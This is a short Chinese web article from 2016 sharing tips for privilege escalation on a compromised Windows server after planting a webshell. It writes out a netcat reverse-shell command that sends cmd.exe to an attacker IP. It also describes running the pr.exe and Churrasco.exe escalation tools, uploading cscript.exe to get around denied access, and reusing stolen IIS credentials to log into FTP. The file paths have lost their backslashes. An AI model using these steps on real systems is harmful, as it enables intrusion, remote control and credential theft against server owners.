webshell下提权两个小技巧分享
webshell下提权两个小技巧分享
发布时间:2016-02-17 来源:查字典编辑
摘要:webshell提权小技巧cmd路径:c:windowstempcmd.exenc也在同目录下例如反弹cmdshell:"c:windows...
webshell提权小技巧

cmd路径:
c:windowstempcmd.exe
nc也在同目录下
例如反弹cmdshell:
"c:windowstempnc.exe -vv ip 999 -e c:windowstempcmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:windowstempnc.exe
命令输入 -vv ip 999 -e c:windowstempcmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功。

友情检测波尔远程控制官方网站
作者:MYC00l [Y.D.T]

第一处:把代码保存为1.vbs 上传到服务器上,执行cscript 1.vbs,又提示拒绝访问。

其实这里,我们只要自己上传一个cscript.exe 一般就可以解决问题,这个程序默认位于系统文件夹下,是win32 控制台下的脚本宿主引擎,用来执行vbs 等脚本程序的。

第二处:用VBS脚本查看到目标IIS帐号和密码后,CMD下FTP发现目标用的是微软FTP,直接用IIS帐号和密码登录进去了。

IIS帐号和密码和微软自带的FTP帐号和密码默认都是一样的。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新电脑安全教程学习
热门电脑安全教程学习
电脑子分类